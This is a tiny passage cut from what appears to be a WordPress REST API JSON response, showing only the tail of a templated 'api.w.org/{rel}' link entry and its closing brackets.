i.w.org\/{rel}","templated":true}]}}